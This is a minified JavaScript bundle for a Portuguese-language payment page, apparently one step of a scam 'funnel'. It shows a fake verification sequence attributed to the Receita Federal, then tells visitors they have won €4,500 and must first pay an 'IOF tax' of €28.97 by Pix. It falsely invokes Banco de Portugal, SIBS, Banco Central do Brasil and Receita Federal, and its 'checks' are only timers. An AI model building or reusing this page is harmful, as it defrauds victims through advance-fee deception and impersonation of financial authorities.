import{s as I,c as _,r as c,j as e,P as R,l as H,o as q,p as C}from"./index-jPJOmtKw.js";import{t as N}from"./tiktok-logo-full-DIcxqYI2.js";import{u as B,L as G}from"./use-pix-payment-DR6HpRO6.js";import{P as U}from"./PixPaymentPopup-C8F4Odni.js";import{S as b}from"./shield-ve1r6nkb.js";/**
 * @license lucide-react v0.462.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const X=I("Calculator",[["rect",{width:"16",height:"20",x:"4",y:"2",rx:"2",key:"1nb95v"}],["line",{x1:"8",x2:"16",y1:"6",y2:"6",key:"x4nwl0"}],["line",{x1:"16",x2:"16",y1:"14",y2:"18",key:"wjye3r"}],["path",{d:"M16 10h.01",key:"1m94wz"}],["path",{d:"M12 10h.01",key:"1nrarc"}],["path",{d:"M8 10h.01",key:"19clt8"}],["path",{d:"M12 14h.01",key:"1etili"}],["path",{d:"M8 14h.01",key:"6423bh"}],["path",{d:"M12 18h.01",key:"mhygvu"}],["path",{d:"M8 18h.01",key:"lrp35t"}]]);/**
 * @license lucide-react v0.462.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const M=I("FileText",[["path",{d:"M15 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7Z",key:"1rqfz7"}],["path",{d:"M14 2v4a2 2 0 0 0 2 2h4",key:"tnqrlb"}],["path",{d:"M10 9H8",key:"b1mrlr"}],["path",{d:"M16 13H8",key:"t4e002"}],["path",{d:"M16 17H8",key:"z1uh3a"}]]);var v="Progress",j=100,[J,ne]=_(v),[Z,K]=J(v),$=c.forwardRef((a,t)=>{const{__scopeProgress:o,value:r=null,max:s,getValueLabel:h=Q,...m}=a;(s||s===0)&&!P(s)&&console.error(W(`${s}`,"Progress"));const n=P(s)?s:j;r!==null&&!k(r,n)&&console.error(Y(`${r}`,"Progress"));const l=k(r,n)?r:null,u=f(l)?h(l,n):void 0;return e.jsx(Z,{scope:o,value:l,max:n,children:e.jsx(R.div,{"aria-valuemax":n,"aria-valuemin":0,"aria-valuenow":f(l)?l:void 0,"aria-valuetext":u,role:"progressbar","data-state":F(l,n),"data-value":l??void 0,"data-max":n,...m,ref:t})})});$.displayName=v;var S="ProgressIndicator",T=c.forwardRef((a,t)=>{const{__scopeProgress:o,...r}=a,s=K(S,o);return e.jsx(R.div,{"data-state":F(s.value,s.max),"data-value":s.value??void 0,"data-max":s.max,...r,ref:t})});T.displayName=S;function Q(a,t){return`${Math.round(a/t*100)}%`}function F(a,t){return a==null?"indeterminate":a===t?"complete":"loading"}function f(a){return typeof a=="number"}function P(a){return f(a)&&!isNaN(a)&&a>0}function k(a,t){return f(a)&&!isNaN(a)&&a<=t&&a>=0}function W(a,t){return`Invalid prop \`max\` of value \`${a}\` supplied to \`${t}\`. Only numbers greater than 0 are valid max values. Defaulting to \`${j}\`.`}function Y(a,t){return`Invalid prop \`value\` of value \`${a}\` supplied to \`${t}\`. The \`value\` prop must be:
  - a positive number
  - less than the value passed to \`max\` (or ${j} if no \`max\` prop is set)
  - \`null\` or \`undefined\` if the progress is indeterminate.

Defaulting to \`null\`.`}var z=$,ee=T;const L=c.forwardRef(({className:a,value:t,...o},r)=>e.jsx(z,{ref:r,className:H("relative h-4 w-full overflow-hidden rounded-full bg-secondary",a),...o,children:e.jsx(ee,{className:"h-full w-full flex-1 bg-primary transition-all",style:{transform:`translateX(-${100-(t||0)}%)`}})}));L.displayName=z.displayName;const w=[{icon:b,label:"Verificando dados cadastrais..."},{icon:M,label:"Consultando Receita Federal..."},{icon:X,label:"Calculando impostos devidos..."},{icon:C,label:"Validando transação..."}],ie=()=>{const t=q().state,[o,r]=c.useState("loading"),[s,h]=c.useState(0),[m,n]=c.useState(0),{loading:l,pixData:u,copied:V,pixTimer:D,pixRef:E,handlePay:O,handleCopy:A}=B({amountInCents:Math.round((window.__FUNIL_FEE_4||28.97)*100),redirectTo:"/upsell-5",customerData:t==null?void 0:t.customerData,extraState:{customerData:t==null?void 0:t.customerData}});return c.useEffect(()=>{if(o!=="loading")return;const x=setInterval(()=>{h(i=>i>=100?(clearInterval(x),100):i+1)},60),d=setInterval(()=>{n(i=>i>=w.length?(clearInterval(d),i):i+1)},1500),g=setTimeout(()=>r("main"),6500);return()=>{clearInterval(x),clearInterval(d),clearTimeout(g)}},[o]),o==="loading"?e.jsxs("div",{className:"min-h-screen bg-card flex flex-col max-w-[430px] mx-auto",children:[e.jsx("header",{className:"w-full bg-card border-b border-border flex justify-center items-center py-4 sticky top-0 z-50",children:e.jsx("img",{src:N,alt:"Meta",className:"h-[24px] w-auto"})}),e.jsxs("div",{className:"flex-1 flex flex-col items-center justify-center p-6 gap-6",children:[e.jsxs("div",{className:"flex items-center justify-center gap-2 py-2 flex-wrap",children:[e.jsxs("div",{className:"flex items-center gap-1.5 bg-[#F9FAFB] border border-[#E5E7EB] rounded-[8px] px-2.5 py-2",children:[e.jsx("svg",{width:14,height:14,viewBox:"0 0 24 24",fill:"none",stroke:"#10B981",strokeWidth:3,strokeLinecap:"round",strokeLinejoin:"round",children:e.jsx("polyline",{points:"20 6 9 17 4 12"})}),e.jsxs("div",{children:[e.jsx("p",{className:"text-foreground text-[11px] font-bold leading-none",children:"Banco de Portugal"}),e.jsx("p",{className:"text-muted-foreground text-[9px] leading-none mt-0.5",children:"Supervisionado"})]})]}),e.jsxs("div",{className:"flex items-center gap-1.5 bg-[#F9FAFB] border border-[#E5E7EB] rounded-[8px] px-2.5 py-2",children:[e.jsx("svg",{width:14,height:14,viewBox:"0 0 24 24",fill:"none",stroke:"#6366F1",strokeWidth:2,strokeLinecap:"round",strokeLinejoin:"round",children:e.jsx("path",{d:"M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"})}),e.jsxs("div",{children:[e.jsx("p",{className:"text-foreground text-[11px] font-bold leading-none",children:"SIBS Certificado"}),e.jsx("p",{className:"text-muted-foreground text-[9px] leading-none mt-0.5",children:"Pagamento Seguro"})]})]})]})]}):e.jsxs("div",{className:"min-h-screen bg-card flex flex-col max-w-[430px] mx-auto",children:[e.jsx("header",{className:"w-full bg-card border-b border-border flex justify-center items-center py-4 sticky top-0 z-50",children:e.jsx("img",{src:N,alt:"Meta",className:"h-[24px] w-auto"})}),e.jsxs("div",{className:"flex-1 p-5 space-y-4",children:[e.jsxs("div",{className:"flex flex-col items-center gap-3 py-4",children:[e.jsxs("div",{className:"flex items-center justify-center gap-2 py-2 flex-wrap",children:[e.jsxs("div",{className:"flex items-center gap-1.5 bg-[#F9FAFB] border border-[#E5E7EB] rounded-[8px] px-2.5 py-2",children:[e.jsx("svg",{width:14,height:14,viewBox:"0 0 24 24",fill:"none",stroke:"#10B981",strokeWidth:3,strokeLinecap:"round",strokeLinejoin:"round",children:e.jsx("polyline",{points:"20 6 9 17 4 12"})}),e.jsxs("div",{children:[e.jsx("p",{className:"text-foreground text-[11px] font-bold leading-none",children:"Banco de Portugal"}),e.jsx("p",{className:"text-muted-foreground text-[9px] leading-none mt-0.5",children:"Supervisionado"})]})]}),e.jsxs("div",{className:"flex items-center gap-1.5 bg-[#F9FAFB] border border-[#E5E7EB] rounded-[8px] px-2.5 py-2",children:[e.jsx("svg",{width:14,height:14,viewBox:"0 0 24 24",fill:"none",stroke:"#6366F1",strokeWidth:2,strokeLinecap:"round",strokeLinejoin:"round",children:e.jsx("path",{d:"M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"})}),e.jsxs("div",{children:[e.jsx("p",{className:"text-foreground text-[11px] font-bold leading-none",children:"SIBS Certificado"}),e.jsx("p",{className:"text-muted-foreground text-[9px] leading-none mt-0.5",children:"Pagamento Seguro"})]})]})]}),e.jsxs("div",{className:"bg-muted/30 border border-border rounded-2xl p-5 space-y-3",children:[e.jsxs("h3",{className:"text-sm font-bold text-foreground flex items-center gap-2",children:[e.jsx(M,{size:16,className:"text-blue-600"}),"Resumo Financeiro"]}),e.jsxs("div",{className:"space-y-2",children:[e.jsxs("div",{className:"flex justify-between text-sm",children:[e.jsx("span",{className:"text-muted-foreground",children:"Valor ganho"}),e.jsx("span",{className:"text-foreground font-semibold",children:"€ "+(window.__FUNIL_AMOUNT_GANHO_4||4500).toLocaleString("pt-BR",{minimumFractionDigits:2})})]}),e.jsxs("div",{className:"flex justify-between text-sm",children:[e.jsx("span",{className:"text-muted-foreground",children:"IOF ("+(((window.__FUNIL_FEE_4||28.97)/(window.__FUNIL_AMOUNT_GANHO_4||4500)*100).toFixed(2).replace(".",","))+")"}),e.jsx("span",{className:"text-blue-600 font-semibold",children:"€ "+(window.__FUNIL_FEE_4||28.97).toLocaleString("pt-BR",{minimumFractionDigits:2})})]}),e.jsxs("div",{className:"border-t border-border pt-2 flex justify-between text-sm",children:[e.jsx("span",{className:"text-muted-foreground font-semibold",children:"Total a receber"}),e.jsx("span",{className:"text-green-500 font-bold text-base",children:"€ "+((window.__FUNIL_AMOUNT_GANHO_4||4500)+(window.__FUNIL_FEE_4||28.97)).toLocaleString("pt-BR",{minimumFractionDigits:2})})]})]})]}),e.jsxs("div",{className:"bg-green-500/5 border border-green-500/20 rounded-xl p-3 flex items-center gap-2",children:[e.jsx(b,{size:16,className:"text-green-500 shrink-0"}),e.jsxs("p",{className:"text-xs text-muted-foreground",children:["Recebimento garantido pelo ",e.jsx("span",{className:"text-green-500 font-bold",children:"Banco Central do Brasil"})]})]}),e.jsx("p",{className:"text-xs text-muted-foreground text-center leading-relaxed",children:"O IOF é um imposto federal obrigatório sobre operações financeiras. Após o pagamento, seu saque será processado imediatamente."}),e.jsx("button",{onClick:O,disabled:l,className:"w-full h-[52px] text-white font-bold text-[15px] rounded-2xl flex items-center justify-center gap-2 active:scale-[0.98] transition-all disabled:opacity-70 shadow-lg",style:{backgroundColor:"#003772"},children:l?e.jsx(G,{size:20,className:"animate-spin"}):e.jsxs(e.Fragment,{children:[e.jsx(b,{size:18}),"PAGAR IMPOSTO · € "+(window.__FUNIL_FEE_4||28.97).toLocaleString("pt-BR",{minimumFractionDigits:2})]})}),e.jsx("p",{className:"text-[11px] text-center text-muted-foreground",children:"🏛️ Receita Federal do Brasil · CNPJ: 00.394.460/0058-87"})]}),u&&e.jsx(U,{ref:E,pixData:u,copied:V,pixTimer:D,onCopy:A})]})};export{ie as default};
